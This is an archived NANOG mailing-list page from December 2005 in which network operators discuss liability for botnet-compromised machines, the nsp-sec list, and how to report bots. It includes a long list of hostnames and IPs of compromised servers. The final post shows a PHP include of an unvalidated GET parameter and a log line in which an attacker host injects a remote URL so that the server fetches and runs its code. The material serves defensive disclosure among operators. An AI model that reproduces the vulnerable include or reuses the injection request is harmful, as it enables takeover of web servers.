- Test - lists.nanog.org

RE: Compromised machines liable for damage?
by Hannigan, Martin 27 Dec '05

27 Dec '05

Botnet code is open source, as far as I know. Maybe not by design, but I have gigs of it and its all googleable. Not being a lawyer, I'd guess the plaintiff size is highy debateable based on source or destination. Marty -----Original Message----- From: Owen DeLong [mailto:owen@delong.com] Sent: Mon Dec 26 23:32:04 2005 To: Hannigan, Martin; Joseph Jackson Cc: NANOG Subject: RE: Compromised machines liable for damage? RIAA is a very different context from what we are talking about here. First, the number of people getting attacked from Open Source systems is very small, so, you have a very small class of plaintiffs. Second, said class of plaintiffs is probably not as well funded as RIAA. OTOH, the number of people/organizations being attacked from Micr0$0ft based systems is relatively high, so, a large class of plaintiffs, and, some of them being enterprises are relatively well funded. Second, in the case of RIAA, it is businesses suing to do what they perceive as protecting their profit stream, and, they know they are suing a collection of defendants that are relatively poorly funded and have no organization. In the case of Open Source, I think there is a pretty good track record of the community coming to the aid of those that get sued for various reasons (DeCSS comes to mind). Sure, it's easy to sue someone who doesn't have any money, but, there's no point in doing so. Frankly, it's not the people with no money that are at risk here. It's the people with some money and some assets. If you have nothing, you're pretty safe ignoring a civil suit because you have nothing to lose. Frankly, if RIAA were to sue me, it wouldn't cost me $250,000 to fight it. It might cost me a few thousand if I chose to involve a lawyer in some portion of the process, but, initially, I think I could make their life difficult enough to get them to go away without involving a lawyer. I've already made MPAA/Disney go away twice without a lawyer. Admittedly, they went away before even filing a suit, so, technically, I haven't been sued, but, I've been threatened by them, and, I'm sure if I'd buckled under or failed to confront them appropriately, I would have either gotten sued or ended up handing over money. The costs of defending a suit are $0 until you hire a lawyer. Owen --On December 26, 2005 11:18:46 PM -0500 "Hannigan, Martin" <hannigan(a)verisign.com> wrote: > > > In the general sense, possibly, but where there are lawyers there is > always discoragement. > > Suing people with no money is easy, but it does stop them from > contributing in most cases. There are always a few who like getting sued. > RIAA has shown companies will widescale sue so your argument is suspect, > IMO.. > > > > > -----Original Message----- > From: Owen DeLong [mailto:owen@delong.com] > Sent: Mon Dec 26 23:11:13 2005 > To: Hannigan, Martin; Joseph Jackson > Cc: NANOG > Subject: RE: Compromised machines liable for damage? > > I've seen this argument time and again, and, the reality is that it is > absolutely > false. > > In fact, it will do nothing but encourage freeware. Liability for a > product > generally doesn't exist until money changes hands. If you design a piece > of > equipment and post the drawings in the public domain, you are not liable > if someone builds it and harms themselves. You are liable if someone pays > you for the design, because, the money changing hands creates a "duty to > care". > Outside of a "duty to care", the only opening for liability is if they > can prove that you failed to take some precaution that would be expected > of any "reasonably prudent" person. > > So, liability for bad software and the consequences it creates would be > bad for the Micr0$0ft and Oracles of the world, but, generally, very good > for the Free Software movement. It might turn out to be bad for > organizations > like Cygnus and RedHat, but, that's more of a gray area. > > As to the specific example cited... > > If no update has been released, in the case of Open Source, that's no > excuse. > You have the source, so, you don't have to wait for an update. In the > case > of closed software, then, I think manufacturer liability is a good thing > for the industry in general. > > Owen > > > --On December 26, 2005 10:07:20 PM -0500 "Hannigan, Martin" > <hannigan(a)verisign.com> wrote: > >> >> >> If you want to choke off freeware(gnu, et. Al), sure, go after them. I >> doubt the licensing agreement allows it though. (IANAL). >> >> I think all you'd do is encourage people to write more music about >> 'freeing the software'. I'd rather not be stricken in that fashion. >> >> I think that angle is DOA. >> >> Martin >> >> >> -----Original Message----- >> From: Joseph Jackson [mailto:jjackson@aninetworks.com] >> Sent: Mon Dec 26 03:13:02 2005 >> To: Hannigan, Martin >> Cc: NANOG >> Subject: RE: Compromised machines liable for damage? >> >> What about the coders that write the buggy software in the first place? >> Don't they hold some of the responsibility also? IE I am running some >> webserver software that a bug is found in it. Attackers use that bug in >> the >> software to generate a DOS attack against you from my machines. No >> update has been released for the software I am running and/or no warning >> as been released. You sue me I sue the coders. What a wonderful world. >> (I'm not for this but its another side of the issue.) >> >> >> >> _____ >> >> From: owner-nanog(a)merit.edu [mailto:owner-nanog@merit.edu] On Behalf Of >> Hannigan, Martin >> Sent: Sunday, December 25, 2005 9:22 PM >> To: Steven M. Bellovin >> Cc: Dave Pooser; NANOG >> Subject: Re: Compromised machines liable for damage? >> >> >> >> >> >> Yes, I agree. As usual, I too am 'IANAL'. >> >> Marty >> >> >> >> -----Original Message----- >> From: Steven M. Bellovin [mailto:smb@cs.columbia.edu >> <mailto:smb@cs.columbia.edu> ] >> Sent: Sun Dec 25 23:52:27 2005 >> To: Hannigan, Martin >> Cc: Dave Pooser; NANOG >> Subject: Re: Compromised machines liable for damage? >> >> In message >> <80632326218FE74899BDD48BB836421A033001(a)Dul1wnexmb04.vcorp.ad.vrsn.c >> om>, "Hannigan, Martin" writes: >> >>> >>> Dave, RIAA wins almost 100pct vs p2p'ers ir sues. Its an interesting = >>> dichotomy. >>> >> >> "Wins" is too strong a word, since I don't think any have gone to >> court -- see >> http://www.nytimes.com/aponline/arts/AP-Music-Download-Suit.html >> <http://www.nytimes.com/aponline/arts/AP-Music-Download-Suit.html> >> as my source. >> >> Besides, it's a very different situation. For my take on liability >> issues -- note that I'm not a lawyer, and note that this is from 1994 >> -- see http://www.wilyhacker.com/1e/chap12.pdf >> <http://www.wilyhacker.com/1e/chap12.pdf> >> >> --Steven M. Bellovin, http://www.cs.columbia.edu/~smb >> <http://www.cs.columbia.edu/~smb> >> >> >> >> > > > > -- > If this message was not signed with gpg key 0FE2AA3D, it's probably > a forgery.

2 1

RE: Compromised machines liable for damage?
by Hannigan, Martin 27 Dec '05

27 Dec '05

If you want to choke off freeware(gnu, et. Al), sure, go after them. I doubt the licensing agreement allows it though. (IANAL). I think all you'd do is encourage people to write more music about 'freeing the software'. I'd rather not be stricken in that fashion. I think that angle is DOA. Martin -----Original Message----- From: Joseph Jackson [mailto:jjackson@aninetworks.com] Sent: Mon Dec 26 03:13:02 2005 To: Hannigan, Martin Cc: NANOG Subject: RE: Compromised machines liable for damage? What about the coders that write the buggy software in the first place? Don't they hold some of the responsibility also? IE I am running some webserver software that a bug is found in it. Attackers use that bug in the software to generate a DOS attack against you from my machines. No update has been released for the software I am running and/or no warning as been released. You sue me I sue the coders. What a wonderful world. (I'm not for this but its another side of the issue.) _____ From: owner-nanog(a)merit.edu [mailto:owner-nanog@merit.edu] On Behalf Of Hannigan, Martin Sent: Sunday, December 25, 2005 9:22 PM To: Steven M. Bellovin Cc: Dave Pooser; NANOG Subject: Re: Compromised machines liable for damage? Yes, I agree. As usual, I too am 'IANAL'. Marty -----Original Message----- From: Steven M. Bellovin [mailto:smb@cs.columbia.edu <mailto:smb@cs.columbia.edu> ] Sent: Sun Dec 25 23:52:27 2005 To: Hannigan, Martin Cc: Dave Pooser; NANOG Subject: Re: Compromised machines liable for damage? In message <80632326218FE74899BDD48BB836421A033001(a)Dul1wnexmb04.vcorp.ad.vrsn.c om>, "Hannigan, Martin" writes: > >Dave, RIAA wins almost 100pct vs p2p'ers ir sues. Its an interesting = >dichotomy. > "Wins" is too strong a word, since I don't think any have gone to court -- see http://www.nytimes.com/aponline/arts/AP-Music-Download-Suit.html <http://www.nytimes.com/aponline/arts/AP-Music-Download-Suit.html> as my source. Besides, it's a very different situation. For my take on liability issues -- note that I'm not a lawyer, and note that this is from 1994 -- see http://www.wilyhacker.com/1e/chap12.pdf <http://www.wilyhacker.com/1e/chap12.pdf> --Steven M. Bellovin, http://www.cs.columbia.edu/~smb <http://www.cs.columbia.edu/~smb>

2 1

Re: Destructive botnet originating from Japan
by Hannigan, Martin 27 Dec '05

27 Dec '05

What's nsp-sec? -----Original Message----- From: Richard A Steenbergen [mailto:ras@e-gerbil.net] Sent: Sun Dec 25 04:25:15 2005 To: Gadi Evron Cc: Rob Thomas; NANOG Subject: Re: Destructive botnet originating from Japan On Sun, Dec 25, 2005 at 02:06:38AM -0600, Gadi Evron wrote: > > It is difficult to hear something important that one invested much in is > doing harm, but that is the only conclusion I and others can come up with > after years of study, and NSP-SEC, as amazing as it has been, has been of > a negative impact other than to cause a community to form and act > together. Which is amazing by itself and which is why I believe it > can do so much more.. even if it is relatively young it has proven > itself time and time again... I am straying from the subject here. Could have told you that a long time ago. NSP-SEC became useless the day it became so bogged down in its own self-aggrandizing paranoia that no one could possibly be bothered to actually tell anyone outside of the secret handshake club about security issues they've spotted. On the other hand, if you ARE going to sit around pissing and moaning about botnets you are too "sekure" to tell anyone else about, thus assuring they never get fixed, at least it's nice to do it in one secret place so I don't have to hear it. :) -- Richard A Steenbergen <ras(a)e-gerbil.net> http://www.e-gerbil.net/ras GPG Key ID: 0xF8B12CBC (7535 7F59 8204 ED1F CC1C 53AF 4C41 5ECA F8B1 2CBC)

11 12

Infected list
by Barrett G. Lyon 27 Dec '05

27 Dec '05

Here is a list of the compromised machines used in this new botnet we found in California. These are all web servers connected to good bandwidth and they are attacking us, so as a nice little holiday gift to me, please clean your network up if these are on your network. :) 12-223-37-219.client.insightbb.com 149.64.142.82.ip.b26.cz 151.1.32.221 158.37.52.20 193.138.228.24 193.58.239.61 194.87.149.34 195-13-58-95.oxyd.net 195.140.142.177 195.141.204.164 200.30.71.34 200.62.55.103 202.108.59.135 202.157.177.73 202.210.168.34 202.28.68.75 203.135.128.187 203.22.23.158 206.225.93.88 209.1.163.22 210-80-180-119.conexim.net 210.104.247.130 210.118.194.56 210.97.35.126 211.155.23.81 211.174.53.4 211.200.28.6 211.34.189.3 212.110.119.85 212.63.132.54 212.7.192.58 212.79.246.131 213.197.151.2 213.241.84.66 213.80.21.2 216.158.56.242 216.237.120.114 217-116-3-75.redes.acens.net 217-116-9-152.redes.acens.net 217.19.0.5 217.71.214.98 218.106.125.207 218.144.240.70 218.38.243.5 218.38.34.196 219.83.67.86 220.125.208.3 222.124.11.244 24.176.186.71 253-user7.scnet.cz 46.209.forpsi.net 61.111.254.95 61.129.70.191 61.172.245.21 62-99-206-202.static.sdsl-line.inode.at 62.119.154.2 62.128.242.9 62.204.69.34 62.61.142.98.generic-hostname.arrownet.dk 62.65.161.148 62.79.147.151.adsl.kh.tiscali.dk 64.203.136.14 64.27.109.170 64.5.53.103 65.164.218.248 65.39.145.5 66.132.249.67 66.179.166.218 66.235.184.100 67.18.170.170 69.64.191.40 72.4.161.75 72.75-228-195.hosting.adatpark.hu 72.9.224.146 79.Red-217-125-26.staticIP.rima-tde.net 80.83.176.40 81.169.184.73 81.177.4.15 81.177.4.7 81.29.96.152 81.4.80.116 81.91.64.45 82.113.60.76 82.149.245.5 83.217.76.66 83.72.0.197.ip.tele2adsl.dk 84.244.146.80 85.111.0.20 85.17.9.74 85.233.230.3 AStDenis-105-1-1-133.w193-253.abo.wanadoo.fr aarde.milieuconsult.be admin.eigafreak.com adserver.bresciaonline.it air651.startdedicated.com alpha.ckp.pl apoc.be.priorweb.net atlas.astro.cz baszar.icmax.com.pl bazyl.pagema.net blue2.nwinternet.com boom.barad.cz broadcast.broadcastbuyersguide.com bubak.halamasek.cz bws214.internetdsl.tpnet.pl catalystinternet.com champ.uft.uni-bremen.de charlotte.service.csd.uwo.ca cluster01.ahp01.lax.affinity.com cmt5.web.mdc.ubisoft.com cobalt.standingwave.co.uk colo3.routerspeed.com customersites3.easily.co.uk d-eyes.ttk.pte.hu dcs2.sdv.fr dedicated.ipowerweb.com devel.money.net dimedis-hosting2.de dns.hsjh.chc.edu.tw dns1.portnet.pl dns3.french-connexion.com dominator.7seas.hu ds80-237-152-61.dedicated.hosteurope.de dyndsl-085-016-019-248.ewe-ip-backbone.de eagle.ezaz.hu einstein.gottathink.com enterprise.aztecinternet.net fatman1.szi.fh-jena.de fch.vutbr.cz ferion.com fido.impulsed.net flame.xservu.com flexiserv.keme.net fpp.hamradio.si freja.yanet.dk gabo.pl gha5servers.com harlock2.transisters.net head.linpro.no heb62010.ikoula.com hornad.fei.tuke.sk host-81.216.82.22.addr.tdcsong.se host.mhr-viandes.com host107.200.80.42.ifxnw.com.ar hosting1.telekom.ru housing19.berlin3.powerweb.de hurricanepunch.netzkern.net iate.fortalnet.com.br igapc14.epfl.ch iits01121.inlink.com ik57045.ikexpress.com ikaika.xtremehosting.net inetw.de info3.domainserver.de ip-217-172-174-208.inaddr.intergenia.de ip-217-24-113-10.parma.ru ip-68-178-166-1.ip.secureserver.net ip36-18-166-62.adsl.versatel.nl ipartners-gw.interian.pl iptelecom-gw.niisp.gov.ua jowita.zr.univ.gda.pl juggernaut.anchor.net.au kermit.goldweb.com.au kid.rkka.cz koosh.cs.utk.edu kreativ.red-one.hu kvist.nt.ntnu.no lakeweb2.interac.it ld1.hrnet.fr mail.bashkortostan.ru mail.math.uvt.ro mail.tanet.hu mail.web401k.com mail.wws5.com mail.zenner.ro math1.math.ncku.edu.tw max.x3m.pl mc2.aon.at midas.mistral.co.uk monster-new.dataguard.no morpheus.spaceweb.ru mx0.gom.com.eg naka.xcite.net navaho.gymjev.cz neo.spaceweb.ru net4u.net4u.ch netprosintl.com newhttpd.vjf.cnrs.fr news.greenvilleonline.com ngv.cust.iaf.nl noriko.pageinabox.com ns.dns7943.net ns.extrahosting.cz ns.infoline.cz ns.mr.ru ns.nocex6.net ns.onetgroup.com ns.oxl-technologies.net ns1.multi.pt ns1.psrweb.net ns2.zmaximum.ru ns227.ovh.net ns2652.ovh.net ns31226.ovh.net ns31508.ovh.net ns31838.ovh.net ns32343.ovh.net ns32653.ovh.net ns33002.ovh.net ns3830.ovh.net ns3841.ovh.net ns4.kabir-ken.com ns7.virtualns.net opel1.zentropypartners.de p15192579.pureserver.info pauline.vellum.cz pavlova.org pc5.berlin.powerweb.de pd46.wyszkow.sdi.tpnet.pl philsonicusa.com phyweb.physics.nus.edu.sg pippin.denit.net plesk02.eurohosting.it pontnet.hu prodigy.bulport.com proton.science.upjs.sk psy.korea.ac.kr r2d2.linuxlab.dk ritz.domeneshop.no rtr.salbis.net rzv037.rz.tu-bs.de s1.mhotele.pl s15186348.rootmaster.info s4.vhost.hu s5.lansco.de sa-4-13.saturn.infonet.ee saleh-sh1.customer.vol.cz scoot-web01.msn-coloc.binc.net sd1038.sivit.org sd1092.sivit.org sd119.sivit.org serv.ilit.bas.bg serv2.th.schule.de server001.chemsoft.de server110.penguinhost.net server125.chihost.com server204-222.live-servers.net server3.substancia.com server36.fastbighost.com server6.hostpoint.ch sgce.cbse.uab.edu shlb.ub.uni-kiel.de srv1.netmogitecnologia.com.br ss5.simpleservers.com stx.com.mx temida.wpia.uw.edu.pl toktok.xs4all.nl totalqualitygirl.upl.cs.wisc.edu turbo.applet.cz turbobert.planet-school.de u15192743.onlinehome-server.com umbra.shadowplay.net ungoliant.kvarteret.no velocity.beatit.no vs244021.vserver.de wc-140.r-195-35-187.essentkabel.co web-01.dixigo.com web.lac.u-psud.fr web2.mtco.com wpc0034.amenworld.com wpc0262.host7x24.com wpc0659.amenworld.com wpc0740.amenworld.com wpc1699.host7x24.com ws.ganag.com ws95.amenworld.com wsc10r.amenworld.com wsc141.amenworld.com wvc.pf.jcu.cz www.alternatives.com www.ecolo.be www.fit4.net www.gut-steinhof.de www.in-case.hu www.ntnu.edu.tw www.sis-server.de www.stw-bonn.de www.szuper.info.hu www.ucab.edu.ve www.virtuaal.ee www1.ingame.de xeon.aura.cz zaphod.radak.org zem.ewan.com.pl zeus.serverglobe.net

5 7

Re: Compromised machines liable for damage?
by Hannigan, Martin 26 Dec '05

26 Dec '05

Yes, I agree. As usual, I too am 'IANAL'. Marty -----Original Message----- From: Steven M. Bellovin [mailto:smb@cs.columbia.edu] Sent: Sun Dec 25 23:52:27 2005 To: Hannigan, Martin Cc: Dave Pooser; NANOG Subject: Re: Compromised machines liable for damage? In message <80632326218FE74899BDD48BB836421A033001(a)Dul1wnexmb04.vcorp.ad.vrsn.c om>, "Hannigan, Martin" writes: > >Dave, RIAA wins almost 100pct vs p2p'ers ir sues. Its an interesting = >dichotomy. > "Wins" is too strong a word, since I don't think any have gone to court -- see http://www.nytimes.com/aponline/arts/AP-Music-Download-Suit.html as my source. Besides, it's a very different situation. For my take on liability issues -- note that I'm not a lawyer, and note that this is from 1994 -- see http://www.wilyhacker.com/1e/chap12.pdf --Steven M. Bellovin, http://www.cs.columbia.edu/~smb

1 0

Re: Destructive botnet originating from Japan
by Hannigan, Martin 26 Dec '05

26 Dec '05

Prolexic qualifies. They do what MCI, ATT, Arbor, and others do regarding ddos mitigation and, IMHO, should be a shoe in. I was... subscribed and we are less valuable to the overall good so you decide (we do have presence ther though). Verisign is not an SP. Critical infra is 'critical' (us) but the attacks come from you guys. Whoever can help. I vote for realism. Marty -----Original Message----- From: Jon Lewis [mailto:jlewis@lewis.org] Sent: Sun Dec 25 17:37:57 2005 To: blyon(a)prolexic.com Cc: NANOG Subject: Re: Destructive botnet originating from Japan On Sun, 25 Dec 2005, Rubens Kuhl Jr. wrote: > The first rule of nsp-sec is, you do not talk about nsp-sec > The second rule of nsp-sec is, you DO NOT talk about nsp-sec https://puck.nether.net/mailman/listinfo/nsp-security There's nothing secret about the existence or purpose of the list. I don't know enough about Barrett to guess as to whether or not he'd qualify. Also, I was considering emailing Barrett privately, but since there seems to be so much misinformation going around, others will probably benefit from this. If you want to send out list of IPs suspected of being bots or really any other class of insecure/0wn3d systems, to make it easier for those who care to find their IPs in your list, run it through the Team Cymru whois server first. http://www.cymru.com/BGP/whois.html Then sort the list numerically by ASN. That way, people can scroll through it, or search by ASN, and quickly determine if there's any further action worth taking. It's also a really good idea to include timestamps, ideally exact ones in GMT per IP. In this case (unix bots) it's not as likely, but typical windows bots frequently show up on end-user systems with dynamic IPs. Telling me one of my dial pool IPs was a bot "recently" is not as useful as telling me it was a bot 2005-12-25 02:30:45 GMT. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________

1 0

Re: Destructive botnet originating from California (was Japan)
by Hannigan, Martin 26 Dec '05

26 Dec '05

Hows the mitigation going? We can argue semantics at Dallas NANOG. -----Original Message----- From: Jon Lewis [mailto:jlewis@lewis.org] Sent: Sun Dec 25 22:23:19 2005 To: Barrett G. Lyon Cc: NANOG Subject: Re: Destructive botnet originating from California (was Japan) On Sun, 25 Dec 2005, Barrett G. Lyon wrote: > I would have sent out a clean list sorted via AS and IP, except I have been > working from vacation on GPRS via my 1 bar of service on my cell phone. What's vacation? I gather Prolexic isn't a one man shop. Nobody else had a better internet connection and a few minutes to tidy up the data and make the post? > If the right thing is to post this information to a more private list, then I > would do so. However, I think it has been benificial to get this information > out to the public where they can actually do something about it. I've been I didn't say nanog wasn't a good place to post the info...or that there aren't better places. Just that if you want people to take action based on the data, present it in a more reader-friendly and meaningful format. Also, mixing IPs and PTRs in such a report is not a great idea. I actually did scan through the message looking for any of my prefix's and $work's primary domain name. If there was a PTR for some customer of ours in their own domain, I didn't see it, but I also didn't look for it. Posting data by ASN/IP totally avoids that issue and makes looking for your ASN(s) trivial. > getting emails from a lot of people thanking for the posts because they were > able to identify a lot of messy traffic on their network and put an end to > it. Posting information like this to a private list may not have > accomplished much. I don't see a problem with posting it to both or as many appropriate lists as you can find. Nanog is kind of geo-specific though. Other lists might have much broader representation from the entire internet. > This should be another thread completely, but I am wondering about the > liability of the individual's who have owned machines that are attacking > me/my clients. I'm not a lawyer but I would assume that tort liability law > could apply and find someone liable for allowing their machine to DDoS > people. IANAL either, but if I steal your car and run someone over with it, are you liable? Should you be? Computers are "stolen" or at least commandeered on the internet at an alarming rate because those who do it know that odds are, they won't get caught. And if they are caught, odds are, nothing will happen. And there's apparently considerable profit in the sale of commandeered systems or services provided by them. I doubt you'll get anywhere trying to make an example of someone who's system was hacked or even just "used improperly". I really don't think this problem can be solved by scaring sysadmins or corporations. There will always be security holes. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________

1 0

Re: Destructive botnet originating from Japan
by Hannigan, Martin 26 Dec '05

26 Dec '05

(jon I know you didn't say, but the original must have got nailed in my spam filters) The best thing about this statement is that since I don't report to nanog nsp-sec, or Tyler Durden, the first rule of fight club can kiss my arse. But then again, this really isn't NANOG's business now is it? Or is it? Happy Christmas folks! :) Marty -----Original Message----- From: Jon Lewis [mailto:jlewis@lewis.org] Sent: Sun Dec 25 17:37:57 2005 To: blyon(a)prolexic.com Cc: NANOG Subject: Re: Destructive botnet originating from Japan On Sun, 25 Dec 2005, Rubens Kuhl Jr. wrote: > The first rule of nsp-sec is, you do not talk about nsp-sec > The second rule of nsp-sec is, you DO NOT talk about nsp-sec https://puck.nether.net/mailman/listinfo/nsp-security There's nothing secret about the existence or purpose of the list. I don't know enough about Barrett to guess as to whether or not he'd qualify. Also, I was considering emailing Barrett privately, but since there seems to be so much misinformation going around, others will probably benefit from this. If you want to send out list of IPs suspected of being bots or really any other class of insecure/0wn3d systems, to make it easier for those who care to find their IPs in your list, run it through the Team Cymru whois server first. http://www.cymru.com/BGP/whois.html Then sort the list numerically by ASN. That way, people can scroll through it, or search by ASN, and quickly determine if there's any further action worth taking. It's also a really good idea to include timestamps, ideally exact ones in GMT per IP. In this case (unix bots) it's not as likely, but typical windows bots frequently show up on end-user systems with dynamic IPs. Telling me one of my dial pool IPs was a bot "recently" is not as useful as telling me it was a bot 2005-12-25 02:30:45 GMT. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________

1 0

Re: Destructive botnet originating from Japan (fwd)
by Barrett G. Lyon 25 Dec '05

25 Dec '05

The guy rebuilt his botnet last night, you may want to watch flows to AS32787 to find the bots on your network. -Barrett

1 0

Re:Destructive botnet originating from Japan
by Barrett G. Lyon 25 Dec '05

25 Dec '05

Well it appears that bad code always seems to be the root of problems, according to our research today the problem appears to be caused by incorrectly written PHP applications that perform includes using a string without running any validation against the string: index.php?test=test $test=$_GET[test]; include("$test.php"); When the include executes the test string passed from the GET includes execution instructions: "GET /index.php?test=http%3A//210.170.60.2/....? HTTP/1.0" 200 8010 "-" "Wget/1.6" It appears that the attacker at 210.170.60.2 (also the botnet hosting IRC server) is spreading his code as the include is called, pulling and executing PHP code from a remote server that injects the software. I'm not sure if this needs to be alerted to anyone outside of this list, but it's pretty nasty. -Barrett

2 1